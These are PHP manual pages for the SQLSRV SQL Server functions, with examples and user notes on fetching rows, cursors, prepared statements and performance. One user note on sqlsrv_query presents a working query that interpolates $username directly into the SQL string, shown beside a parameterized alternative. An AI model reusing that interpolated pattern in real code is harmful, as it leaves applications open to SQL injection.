Anonymous 03-Apr-2014 07:15
Note that while the docs say to avoid SQLSRV_FETCH_ASSOC when dealing with result sets where multiple fields have the same name, there are cases when this is perfectly valid to do.

Consider the following query:

SELECT * FROM a INNER JOIN b ON a.id = b.id

For any row, if you fetch NUMERIC you'll get a field for both a.id and b.id, which probably isn't very useful.

If you fetch ASSOC, you'll get one field for "id", and given that it's always the same in both tables (because your query insists it is so), you're not at risk of losing anything.

If you're generating output based on an unknown number of fields, the ASSOC behavior might be preferred.


Retrieves the next row of data in a result set as an object

  • ? sqlsrv_fetch_array
  • sqlsrv_fetch ?
  • PHP Manual
  • SQLSRV 函数
  • Retrieves the next row of data in a result set as an object

sqlsrv_fetch_object

(No version information available, might only be in Git)

sqlsrv_fetch_object — Retrieves the next row of data in a result set as an object

说明

sqlsrv_fetch_object(
resource $stmt,
string $className = ?,
array $ctorParams = ?,
int $row = ?,
int $offset = ?
): mixed

Retrieves the next row of data in a result set as an instance of the specified class with properties that match the row field names and values that correspond to the row field values.

参数

stmt

A statement resource created by sqlsrv_query() or sqlsrv_execute().

className

The name of the class to instantiate. If no class name is specified, stdClass is instantiated.

ctorParams

Values passed to the constructor of the specified class. If the constructor of the specified class takes parameters, the ctorParams array must be supplied.

row

The row to be accessed. This parameter can only be used if the specified statement was prepared with a scrollable cursor. In that case, this parameter can take on one of the following values:

  • SQLSRV_SCROLL_NEXT
  • SQLSRV_SCROLL_PRIOR
  • SQLSRV_SCROLL_FIRST
  • SQLSRV_SCROLL_LAST
  • SQLSRV_SCROLL_ABSOLUTE
  • SQLSRV_SCROLL_RELATIVE

offset

Specifies the row to be accessed if the row parameter is set to SQLSRV_SCROLL_ABSOLUTE or SQLSRV_SCROLL_RELATIVE. Note that the first row in a result set has index 0.

返回值

Returns an object on success, null if there are no more rows to return, and false if an error occurs or if the specified class does not exist.

示例

Example #1 sqlsrv_fetch_object() example

The following example demonstrates how to retrieve a row as a stdClass object.

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT fName, lName FROM Table_1";
$stmt = sqlsrv_query( $conn, $sql);
if( $stmt === false ) {
die( print_r( sqlsrv_errors(), true));
}

// Retrieve each row as an object.
// Because no class is specified, each row will be retrieved as a stdClass object.
// Property names correspond to field names.
while( $obj = sqlsrv_fetch_object( $stmt)) {
echo $obj->fName.", ".$obj->lName."<br />";
}
?>

注释

If a class name is specified with the optional $className parameter and the class has properties whose names match the result set field names, the corresponding result set values are applied to the properties. If a result set field name does not match a class property, a property with the result set field name is added to the object and the result set value is applied to the property. The following rules apply when using the $className parameter:

  • Field-property name matching is case-sensitive.
  • Field-property matching occurs regardless of access modifiers.
  • Class property data types are ignored when applying a field value to a property.
  • If the class does not exist, the function returns false and adds an error to the error collection.
Regardless of whether the $className parameter is supplied, if a field with no name is returned, the field value will be ignored and a warning will be added to the error collection.

When consuming a result set that has multiple columns with the same name, it may be better to use sqlsrv_fetch_array() or the combination of sqlsrv_fetch() and sqlsrv_get_field().

参见

  • sqlsrv_fetch() - Makes the next row in a result set available for reading
  • sqlsrv_fetch_array() - Returns a row as an array

User Contributed Notes

There are no user contributed notes for this page.


Makes the next row in a result set available for reading

  • ? sqlsrv_fetch_object
  • sqlsrv_field_metadata ?
  • PHP Manual
  • SQLSRV 函数
  • Makes the next row in a result set available for reading

sqlsrv_fetch

(No version information available, might only be in Git)

sqlsrv_fetch — Makes the next row in a result set available for reading

说明

sqlsrv_fetch(resource $stmt, int $row = ?, int $offset = ?): mixed

Makes the next row in a result set available for reading. Use sqlsrv_get_field() to read the fields of the row.

参数

stmt

A statement resource created by executing sqlsrv_query() or sqlsrv_execute().

row

The row to be accessed. This parameter can only be used if the specified statement was prepared with a scrollable cursor. In that case, this parameter can take on one of the following values:

  • SQLSRV_SCROLL_NEXT
  • SQLSRV_SCROLL_PRIOR
  • SQLSRV_SCROLL_FIRST
  • SQLSRV_SCROLL_LAST
  • SQLSRV_SCROLL_ABSOLUTE
  • SQLSRV_SCROLL_RELATIVE

offset

Specifies the row to be accessed if the row parameter is set to SQLSRV_SCROLL_ABSOLUTE or SQLSRV_SCROLL_RELATIVE. Note that the first row in a result set has index 0.

返回值

Returns true if the next row of a result set was successfully retrieved, false if an error occurs, and null if there are no more rows in the result set.

示例

Example #1 sqlsrv_fetch() example

The following example demonstrates how to retrieve a row with sqlsrv_fetch() and get the row fields with sqlsrv_get_field().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT Name, Comment
FROM Table_1
WHERE ReviewID=1";
$stmt = sqlsrv_query( $conn, $sql);
if( $stmt === false ) {
die( print_r( sqlsrv_errors(), true));
}

// Make the first (and in this case, only) row of the result set available for reading.
if( sqlsrv_fetch( $stmt ) === false) {
die( print_r( sqlsrv_errors(), true));
}

// Get the row fields. Field indices start at 0 and must be retrieved in order.
// Retrieving row fields by name is not supported by sqlsrv_get_field.
$name = sqlsrv_get_field( $stmt, 0);
echo "$name: ";

$comment = sqlsrv_get_field( $stmt, 1);
echo $comment;
?>

参见

  • sqlsrv_get_field() - Gets field data from the currently selected row
  • sqlsrv_fetch_array() - Returns a row as an array
  • sqlsrv_fetch_object() - Retrieves the next row of data in a result set as an object

User Contributed Notes

There are no user contributed notes for this page.


Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare or sqlsrv_query

  • ? sqlsrv_fetch
  • sqlsrv_free_stmt ?
  • PHP Manual
  • SQLSRV 函数
  • Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare or sqlsrv_query

sqlsrv_field_metadata

(No version information available, might only be in Git)

sqlsrv_field_metadata — Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare() or sqlsrv_query()

说明

sqlsrv_field_metadata(resource $stmt): mixed

Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare() or sqlsrv_query(). sqlsrv_field_metadata() can be called on a statement before or after statement execution.

参数

stmt

The statement resource for which metadata is returned.

返回值

Returns an array of arrays on success. Otherwise, false is returned. Each returned array is described by the following table:

Array returned by sqlsrv_field_metadata
Key | Description
Name | The name of the field.
Type | The numeric value for the SQL type.
Size | The number of characters for fields of character type, the number of bytes for fields of binary type, or null for other types.
Precision | The precision for types of variable precision, null for other types.
Scale | The scale for types of variable scale, null for other types.
Nullable | An enumeration indicating whether the column is nullable, not nullable, or if it is not known.
For more information, see » sqlsrv_field_metadata in the Microsoft SQLSRV documentation.

示例

Example #1 sqlsrv_field_metadata() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"AdventureWorks", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT * FROM Table_1";
$stmt = sqlsrv_prepare( $conn, $sql );

foreach( sqlsrv_field_metadata( $stmt ) as $fieldMetadata ) {
foreach( $fieldMetadata as $name => $value) {
echo "$name: $value<br />";
}
echo "<br />";
}
?>

参见

  • sqlsrv_client_info() - Returns information about the client and specified connection

User Contributed Notes

There are no user contributed notes for this page.


Frees all resources for the specified statement

  • ? sqlsrv_field_metadata
  • sqlsrv_get_config ?
  • PHP Manual
  • SQLSRV 函数
  • Frees all resources for the specified statement

sqlsrv_free_stmt

(No version information available, might only be in Git)

sqlsrv_free_stmt — Frees all resources for the specified statement

说明

sqlsrv_free_stmt(resource $stmt): bool

Frees all resources for the specified statement. The statement cannot be used after sqlsrv_free_stmt() has been called on it. If sqlsrv_free_stmt() is called on an in-progress statement that alters server state, statement execution is terminated and the statement is rolled back.

参数

stmt

The statement for which resources are freed. Note that null is a valid parameter value. This allows the function to be called multiple times in a script.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 sqlsrv_free_stmt() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$stmt = sqlsrv_query( $conn, "SELECT * FROM Table_1");
if( $stmt === false ) {
die( print_r( sqlsrv_errors(), true));
}

/*-------------------------------
Process query results here.
-------------------------------*/

/* Free the statement resources. */
sqlsrv_free_stmt( $stmt);

?>

注释

The main difference between sqlsrv_free_stmt() and sqlsrv_cancel() is that a statement resource cancelled with sqlsrv_cancel() can be re-executed if it was created with sqlsrv_prepare(). A statement resource cancelled with sqlsrv_free_statement() cannot be re-executed.

参见

  • sqlsrv_cancel() - Cancels a statement

User Contributed Notes

Anonymous 19-Jan-2015 07:28
If you accidentally call this with an invalid $stmt resource, you may see unexpected fatal errors.

I had left behind a call here when cleaning up some code and this caused the my IIS server to generate an error 500 resource not found error.  Furthermore it seemed to only affect some users and not all and I could not isolate why only selected users got the error when it was called for all users.


Returns the value of the specified configuration setting

  • ? sqlsrv_free_stmt
  • sqlsrv_get_field ?
  • PHP Manual
  • SQLSRV 函数
  • Returns the value of the specified configuration setting

sqlsrv_get_config

(No version information available, might only be in Git)

sqlsrv_get_config — Returns the value of the specified configuration setting

说明

sqlsrv_get_config(string $setting): mixed

Returns the value of the specified configuration setting.

参数

setting

The name of the setting for which the value is returned. For a list of configurable settings, see sqlsrv_configure().

返回值

Returns the value of the specified setting. If an invalid setting is specified, false is returned.

参见

  • sqlsrv_configure() - Changes the driver error handling and logging configurations

User Contributed Notes

There are no user contributed notes for this page.


Gets field data from the currently selected row

  • ? sqlsrv_get_config
  • sqlsrv_has_rows ?
  • PHP Manual
  • SQLSRV 函数
  • Gets field data from the currently selected row

sqlsrv_get_field

(No version information available, might only be in Git)

sqlsrv_get_field — Gets field data from the currently selected row

说明

sqlsrv_get_field(resource $stmt, int $fieldIndex, int $getAsType = ?): mixed

Gets field data from the currently selected row. Fields must be accessed in order. Field indices start at 0.

参数

stmt

A statement resource returned by sqlsrv_query() or sqlsrv_execute().

fieldIndex

The index of the field to be retrieved. Field indices start at 0. Fields must be accessed in order. i.e. If you access field index 1, then field index 0 will not be available.

getAsType

The PHP data type for the returned field data. If this parameter is not set, the field data will be returned as its default PHP data type. For information about default PHP data types, see » Default PHP Data Types in the Microsoft SQLSRV documentation.

返回值

Returns data from the specified field on success. Returns false otherwise.

示例

Example #1 sqlsrv_get_field() example

The following example demonstrates how to retrieve a row with sqlsrv_fetch() and get the row fields with sqlsrv_get_field().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT Name, Comment
FROM Table_1
WHERE ReviewID=1";
$stmt = sqlsrv_query( $conn, $sql);
if( $stmt === false ) {
die( print_r( sqlsrv_errors(), true));
}

// Make the first (and in this case, only) row of the result set available for reading.
if( sqlsrv_fetch( $stmt ) === false) {
die( print_r( sqlsrv_errors(), true));
}

// Get the row fields. Field indices start at 0 and must be retrieved in order.
// Retrieving row fields by name is not supported by sqlsrv_get_field.
$name = sqlsrv_get_field( $stmt, 0);
echo "$name: ";

$comment = sqlsrv_get_field( $stmt, 1);
echo $comment;
?>

参见

  • sqlsrv_fetch() - Makes the next row in a result set available for reading
  • sqlsrv_fetch_array() - Returns a row as an array
  • sqlsrv_fetch_object() - Retrieves the next row of data in a result set as an object

User Contributed Notes

There are no user contributed notes for this page.


Indicates whether the specified statement has rows

  • ? sqlsrv_get_field
  • sqlsrv_next_result ?
  • PHP Manual
  • SQLSRV 函数
  • Indicates whether the specified statement has rows

sqlsrv_has_rows

(No version information available, might only be in Git)

sqlsrv_has_rows — Indicates whether the specified statement has rows

说明

sqlsrv_has_rows(resource $stmt): bool

Indicates whether the specified statement has rows.

参数

stmt

A statement resource returned by sqlsrv_query() or sqlsrv_execute().

返回值

Returns true if the specified statement has rows and false if the statement does not have rows or if an error occurred.

示例

Example #1 sqlsrv_has_rows() example

<?php
$server = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" );
$conn = sqlsrv_connect( $server, $connectionInfo );

$stmt = sqlsrv_query( $conn, "SELECT * FROM Table_1");

if ($stmt) {
$rows = sqlsrv_has_rows( $stmt );
if ($rows === true)
echo "There are rows. <br />";
else
echo "There are no rows. <br />";
}
?>

参见

  • sqlsrv_num_rows() - Retrieves the number of rows in a result set
  • sqlsrv_query() - Prepares and executes a query

User Contributed Notes

Bin Ury 31-Aug-2017 04:13
This function cannot be relied on to report errors since both a existence negative and a SQL error will report the same boolean value.


Makes the next result of the specified statement active

  • ? sqlsrv_has_rows
  • sqlsrv_num_fields ?
  • PHP Manual
  • SQLSRV 函数
  • Makes the next result of the specified statement active

sqlsrv_next_result

(No version information available, might only be in Git)

sqlsrv_next_result — Makes the next result of the specified statement active

说明

sqlsrv_next_result(resource $stmt): mixed

Makes the next result of the specified statement active. Results include result sets, row counts, and output parameters.

参数

stmt

The statement on which the next result is being called.

返回值

Returns true if the next result was successfully retrieved, false if an error occurred, and null if there are no more results to retrieve.

示例

Example #1 sqlsrv_next_result() example

The following example executes a batch query that inserts into a table and then selects from the table. This produces two results on the statement: one for the rows affected by the INSERT and one for the rows returned by the SELECT. To get to the rows returned by the SELECT, sqlsrv_next_result() must be called to move past the first result.

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array("Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);

$query = "INSERT INTO Table_1 (id, data) VALUES (?,?); SELECT * FROM TABLE_1;";
$params = array(1, "some data");
$stmt = sqlsrv_query($conn, $query, $params);

// Consume the first result (rows affected by INSERT) without calling sqlsrv_next_result.
echo "Rows affected: ".sqlsrv_rows_affected($stmt)."<br />";

// Move to the next result and display results.
$next_result = sqlsrv_next_result($stmt);
if( $next_result ) {
while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC)){
echo $row['id'].": ".$row['data']."<br />";
}
} elseif( is_null($next_result)) {
echo "No more results.<br />";
} else {
die(print_r(sqlsrv_errors(), true));
}
?>

参见

  • sqlsrv_query() - Prepares and executes a query
  • sqlsrv_fetch_array() - Returns a row as an array
  • sqlsrv_rows_affected() - Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed

User Contributed Notes

chakin 24-Mar-2014 01:09
You can use a for loop to iterate through the results:

If you know how many results there should be it's easier, otherwise you can put a large number in the loop constructor and break when done:

<?
for ($i=0; $i< (Large # or Exact #); $i++)
{
  $rows_affected = sqlsrv_rows_affected($q2);
   if ($rows_affected === false)
    {
       echo 'Inserts Failed<br />\n';
    } else if ( $rows_affected == -1) {
       echo "No information available.<br />\n";
    }  else  {
       echo $rows_affected." rows were added.<br />\n";
    }

   $next_result = sqlsrv_next_result($q2);

    if (!$next_result)
    {
     break;
    }
}
?>


Retrieves the number of fields (columns) on a statement

  • ? sqlsrv_next_result
  • sqlsrv_num_rows ?
  • PHP Manual
  • SQLSRV 函数
  • Retrieves the number of fields (columns) on a statement

sqlsrv_num_fields

(No version information available, might only be in Git)

sqlsrv_num_fields — Retrieves the number of fields (columns) on a statement

说明

sqlsrv_num_fields(resource $stmt): mixed

Retrieves the number of fields (columns) on a statement.

参数

stmt

The statement for which the number of fields is returned. sqlsrv_num_fields() can be called on a statement before or after statement execution.

返回值

Returns the number of fields on success. Returns false otherwise.

示例

Example #1 sqlsrv_num_fields() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT * FROM Table_1";
$stmt = sqlsrv_query($conn, $sql);
if( $stmt === false) {
die( print_r( sqlsrv_errors(), true));
}

$numFields = sqlsrv_num_fields( $stmt );

while( sqlsrv_fetch( $stmt )) {
// Iterate through the fields of each row.
for($i = 0; $i < $numFields; $i++) {
echo sqlsrv_get_field($stmt, $i)." ";
}
echo "<br />";
}
?>

参见

  • sqlsrv_field_metadata() - Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare or sqlsrv_query
  • sqlsrv_fetch() - Makes the next row in a result set available for reading
  • sqlsrv_get_field() - Gets field data from the currently selected row

User Contributed Notes

There are no user contributed notes for this page.


Retrieves the number of rows in a result set

  • ? sqlsrv_num_fields
  • sqlsrv_prepare ?
  • PHP Manual
  • SQLSRV 函数
  • Retrieves the number of rows in a result set

sqlsrv_num_rows

(No version information available, might only be in Git)

sqlsrv_num_rows — Retrieves the number of rows in a result set

说明

sqlsrv_num_rows(resource $stmt): mixed

Retrieves the number of rows in a result set. This function requires that the statement resource be created with a static or keyset cursor. For more information, see sqlsrv_query(), sqlsrv_prepare(), or » Specifying a Cursor Type and Selecting Rows in the Microsoft SQLSRV documentation.

参数

stmt

The statement for which the row count is returned. The statement resource must be created with a static or keyset cursor. For more information, see sqlsrv_query(), sqlsrv_prepare(), or » Specifying a Cursor Type and Selecting Rows in the Microsoft SQLSRV documentation.

返回值

Returns the number of rows retrieved on success and false if an error occurred. If a forward cursor (the default) or dynamic cursor is used, false is returned.

示例

Example #1 sqlsrv_num_rows() example

<?php
$server = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" );
$conn = sqlsrv_connect( $server, $connectionInfo );

$sql = "SELECT * FROM Table_1";
$params = array();
$options = array( "Scrollable" => SQLSRV_CURSOR_KEYSET );
$stmt = sqlsrv_query( $conn, $sql , $params, $options );

$row_count = sqlsrv_num_rows( $stmt );

if ($row_count === false)
echo "Error in retrieveing row count.";
else
echo $row_count;
?>

参见

  • sqlsrv_has_rows() - Indicates whether the specified statement has rows
  • sqlsrv_rows_affected() - Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed

User Contributed Notes

wazz3r at gmail dot com 21-Jan-2013 02:04
Try to avoid using this function if you need good performance. Specifying "Scrollable" in the options will make you queries take ages to run. If your result contains less than 5000 rows (might vary on different hardware) its faster to not use "Scrollable" and loop over them in php instead.

If you need to check if a result contains rows use "sqlsrv_has_rows()", this function works without "Scrollable". After removing all my "Scrollable" queries, my page loadtime went from 900ms to 60ms.

To demonstrate, here is a query that returns 100 rows:
<?php
for($i = 0; $i < 100; $i++) {
    $q = "SELECT sku,name FROM product WHERE visible = 1";
    $result = sqlsrv_query($db,$q,array(), array( "Scrollable" => SQLSRV_CURSOR_KEYSET ));

    while($row = sqlsrv_fetch_array($result)) {}
}
?>
This takes about 10s! Thats 10 qps..

Now if we remove "Scrollable":
<?php
for($i = 0; $i < 100; $i++) {
    $q = "SELECT sku,name FROM product WHERE visible = 1";
    $result = sqlsrv_query($db,$q);

    while($row = sqlsrv_fetch_array($result)) {}
}
?>
This will run in 300ms, about 334 qps!
smhahmadi 30-Dec-2012 09:50
Note that when migrating your MS SQL Server PHP Driver from MSSQL to SQLSRV, if you have used mssql_num_rows, replacing them with sqlsrv_num_rows and replacing mssql_query($query, $mssql_link) with sqlsrv_query($sqlsrv_link, $query) calls will make your sqlsrv_num_rows calls fail. In order to avoid that, you should specify either static, keyset or buffered cursors (buffered cursor has been available since SQLSRV 3.0) when calling sqlsrv_query. For example,
<?php
mssql_query($query, $mssql_link);
// is equivalent to
sqlsrv_query($sqlsrv_link, $query, array(), array('Scrollable' => 'buffered'));
?>
Using the buffered cursor is "more equivalent" than using the static or keyset cursors to simple mssql_query calls, since it caches the entire result set in client memory.


Prepares a query for execution

  • ? sqlsrv_num_rows
  • sqlsrv_query ?
  • PHP Manual
  • SQLSRV 函数
  • Prepares a query for execution

sqlsrv_prepare

(No version information available, might only be in Git)

sqlsrv_prepare — Prepares a query for execution

说明

sqlsrv_prepare(
resource $conn,
string $sql,
array $params = ?,
array $options = ?
): mixed

Prepares a query for execution. This function is ideal for preparing a query that will be executed multiple times with different parameter values.

参数

conn

A connection resource returned by sqlsrv_connect().

sql

The string that defines the query to be prepared and executed.

params

An array specifying parameter information when executing a parameterized query. Array elements can be any of the following:

  • A literal value
  • A PHP variable
  • An array with this structure: array($value [, $direction [, $phpType [, $sqlType]]])
The following table describes the elements in the array structure above:

Array structure
Element | Description
$value | A literal value, a PHP variable, or a PHP by-reference variable.
$direction (optional) | One of the following SQLSRV constants used to indicate the parameter direction: SQLSRV_PARAM_IN, SQLSRV_PARAM_OUT, SQLSRV_PARAM_INOUT. The default value is SQLSRV_PARAM_IN.
$phpType (optional) | A SQLSRV_PHPTYPE_* constant that specifies PHP data type of the returned value.
$sqlType (optional) | A SQLSRV_SQLTYPE_* constant that specifies the SQL Server data type of the input value.
options

An array specifying query property options. The supported keys are described in the following table:

Query Options
Key | Values | Description
QueryTimeout | A positive integer value. | Sets the query timeout in seconds. By default, the driver will wait indefinitely for results.
SendStreamParamsAtExec | true or false (the default is true) | Configures the driver to send all stream data at execution (true), or to send stream data in chunks (false). By default, the value is set to true. For more information, see sqlsrv_send_stream_data().
Scrollable | SQLSRV_CURSOR_FORWARD, SQLSRV_CURSOR_STATIC, SQLSRV_CURSOR_DYNAMIC, or SQLSRV_CURSOR_KEYSET | See » Specifying a Cursor Type and Selecting Rows in the Microsoft SQLSRV documentation.

返回值

Returns a statement resource on success and false if an error occurred.

示例

Example #1 sqlsrv_prepare() example

This example demonstrates how to prepare a statement with sqlsrv_prepare() and re-execute it multiple times (with different parameter values) using sqlsrv_execute().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "UPDATE Table_1
SET OrderQty = ?
WHERE SalesOrderID = ?";

// Initialize parameters and prepare the statement.
// Variables $qty and $id are bound to the statement, $stmt.
$qty = 0; $id = 0;
$stmt = sqlsrv_prepare( $conn, $sql, array( &$qty, &$id));
if( !$stmt ) {
die( print_r( sqlsrv_errors(), true));
}

// Set up the SalesOrderDetailID and OrderQty information.
// This array maps the order ID to order quantity in key=>value pairs.
$orders = array( 1=>10, 2=>20, 3=>30);

// Execute the statement for each order.
foreach( $orders as $id => $qty) {
// Because $id and $qty are bound to $stmt1, their updated
// values are used with each execution of the statement.
if( sqlsrv_execute( $stmt ) === false ) {
die( print_r( sqlsrv_errors(), true));
}
}
?>

注释

When you prepare a statement that uses variables as parameters, the variables are bound to the statement. This means that if you update the values of the variables, the next time you execute the statement it will run with updated parameter values. For statements that you plan to execute only once, use sqlsrv_query().

参见

  • sqlsrv_execute() - Executes a statement prepared with sqlsrv_prepare
  • sqlsrv_query() - Prepares and executes a query

User Contributed Notes

tuxedobob 12-Aug-2015 08:54
Be careful with your variables once you bind them to a statement with sqlsrv_prepare.

Consider the following:

<?php
$dude = '';
$time = new DateTime();
$sql = "INSERT INTO my_table (person, timein) VALUES (?, ?)";
$stmt = sqlsrv_prepare($conn, $sql, array(&$dude, &$time));

...
// many lines later

foreach ($times as &$time) {
   //do stuff
}

// later still...
$time = $times['start'];
if( sqlsrv_execute( $stmt ) === false ) {
          die( print_r( sqlsrv_errors(), true));
}
?>

I did something like this. I prepared a statement at the start, used the variable again in the middle, and then set the value I wanted before running the query.

Trouble is, I used the variable as an iterator instead of a simple scalar. This caused PHP to use a different location in memory, and the location it was previously bound to was invalid. So SQL simply inserted a default date/time.

Worse, because SQL just inserted a default, it didn't throw any errors, and in trying to debug it, I did something like this:

<?php
var_dump($time);
sqlsrv_execute($stmt);
$q = "SELECT * FROM my_table WHERE id=@@IDENTITY";
$r = sqlsrv_query($conn, $q);
$row = sqlsrv_fetch_array($r); $id = $row[0];
var_dump($row['time']);
?>

Having it appear as though you're sending SQL the correct data, and seeing it spitting back something else entirely is absolutely maddening.

So if SQL seems to be inserting garbage with prepared statements, MAKE SURE YOU'RE NOT USING THE VARIABLES ANYWHERE ELSE.
matt at bigbadweb dot co dot uk 10-Jul-2014 10:07
Example of how to formally specify the params, AND get output.
<?php

// Setup connection
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false) {
  die( print_r( sqlsrv_errors(), true));
}

// specify params - MUST be a variable that can be passed by reference!
$myparams['Item_ID'] = intval(-2);
$myparams['Item_Name'] = "Foo";

// Set up the proc params array - be sure to pass the param by reference
$procedure_params = array(
 array(&$myparams['Item_ID'], SQLSRV_PARAM_OUT),
 array(&$myparams['Item_Name'], SQLSRV_PARAM_OUT)
);

// EXEC the procedure, {call stp_Create_Item (@Item_ID = ?, @Item_Name = ?)} seems to fail with various errors in my experiments
$sql = "EXEC stp_Create_Item @Item_ID = ?, @Item_Name = ?";

$stmt = sqlsrv_prepare($conn, $sql, $procedure_params);

if( !$stmt ) {
 die( print_r( sqlsrv_errors(), true));
}

if(sqlsrv_execute($stmt)){
  while($res = sqlsrv_next_result($stmt)){
    // make sure all result sets are stepped through, since the output params may not be set until this happens
  }
  // Output params are now set,
  print_r($params);
  print_r($myparams);
}else{
  die( print_r( sqlsrv_errors(), true));
}
?>


Prepares and executes a query

  • ? sqlsrv_prepare
  • sqlsrv_rollback ?
  • PHP Manual
  • SQLSRV 函数
  • Prepares and executes a query

sqlsrv_query

(No version information available, might only be in Git)

sqlsrv_query — Prepares and executes a query

说明

sqlsrv_query(
resource $conn,
string $sql,
array $params = ?,
array $options = ?
): mixed

Prepares and executes a query.

参数

conn

A connection resource returned by sqlsrv_connect().

sql

The string that defines the query to be prepared and executed.

params

An array specifying parameter information when executing a parameterized query. Array elements can be any of the following:

  • A literal value
  • A PHP variable
  • An array with this structure: array($value [, $direction [, $phpType [, $sqlType]]])
The following table describes the elements in the array structure above:

Array structure
Element | Description
$value | A literal value, a PHP variable, or a PHP by-reference variable.
$direction (optional) | One of the following SQLSRV constants used to indicate the parameter direction: SQLSRV_PARAM_IN, SQLSRV_PARAM_OUT, SQLSRV_PARAM_INOUT. The default value is SQLSRV_PARAM_IN.
$phpType (optional) | A SQLSRV_PHPTYPE_* constant that specifies PHP data type of the returned value.
$sqlType (optional) | A SQLSRV_SQLTYPE_* constant that specifies the SQL Server data type of the input value.
options

An array specifying query property options. The supported keys are described in the following table:

Query Options
Key | Values | Description
QueryTimeout | A positive integer value. | Sets the query timeout in seconds. By default, the driver will wait indefinitely for results.
SendStreamParamsAtExec | true or false (the default is true) | Configures the driver to send all stream data at execution (true), or to send stream data in chunks (false). By default, the value is set to true. For more information, see sqlsrv_send_stream_data().
Scrollable | SQLSRV_CURSOR_FORWARD, SQLSRV_CURSOR_STATIC, SQLSRV_CURSOR_DYNAMIC, or SQLSRV_CURSOR_KEYSET | See » Specifying a Cursor Type and Selecting Rows in the Microsoft SQLSRV documentation.

返回值

Returns a statement resource on success and false if an error occurred.

示例

Example #1 sqlsrv_query() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" );
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "INSERT INTO Table_1 (id, data) VALUES (?, ?)";
$params = array(1, "some data");

$stmt = sqlsrv_query( $conn, $sql, $params);
if( $stmt === false ) {
die( print_r( sqlsrv_errors(), true));
}
?>

注释

For statements that you plan to execute only once, use sqlsrv_query(). If you intend to re-execute a statement with different parameter values, use the combination of sqlsrv_prepare() and sqlsrv_execute().

参见

  • sqlsrv_prepare() - Prepares a query for execution
  • sqlsrv_execute() - Executes a statement prepared with sqlsrv_prepare

User Contributed Notes

erikpsundberg at gmail dot com 08-Mar-2020 06:24
2 Working Example

print "<h1>SQL Query non PDO</h1>";
print "<h2>Connection</h2>";
$connectionInfo = array( "Database"=>$sql_database, "UID"=>$sql_username, "PWD"=>$sql_password );
$conn = sqlsrv_connect( $sql_server, $connectionInfo);

if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
} else {
    print "Good DB Connection: $conn<br>";
}

print "<h2>Query Example 1 | Fetching by Associate Array</h2>";
$sql = "SELECT username, active FROM users WHERE username = '$username'";
print "SQL: $sql\n";
$result = sqlsrv_query($conn, $sql);
if($result === false) {
    die(print_r(sqlsrv_errors(), true));
}
#Fetching Data by array
while($row = sqlsrv_fetch_array($result, SQLSRV_FETCH_ASSOC)) {
    print_r($row);
}

print_line();
print "<h2>Query Example 2 | injection protection | Fetching by Object</h2>";
$sql = "SELECT username, active FROM users WHERE username = ?";
print "SQL: $sql\n";
$result = sqlsrv_query($conn, $sql, array($username));
if($result === false) {
    die(print_r(sqlsrv_errors(), true));
}
#Fetching Data by object
while($row = sqlsrv_fetch_object($result)) {
    print_r($row);
}

--------------------------------------------------
Result

Connection
Good DB Connection: Resource id #2
Query Example 1 | Fetching by Associate Array
SQL: SELECT username, active FROM users WHERE username = 'admin'
Array
(
    [username] => admin
    [active] => 1
)
######################################################################
Query Example 2 | injection protection | Fetching by Object
SQL: SELECT username, active FROM users WHERE username = ?
stdClass Object
(
    [username] => admin
    [active] => 1
)
anon at example dot com 05-Sep-2018 09:57
Note that you can get multiple results when executing a single query, for example:

    <?php
    $stmt = sqlsrv_query($conn, "use dbname; select 1");
    ?>

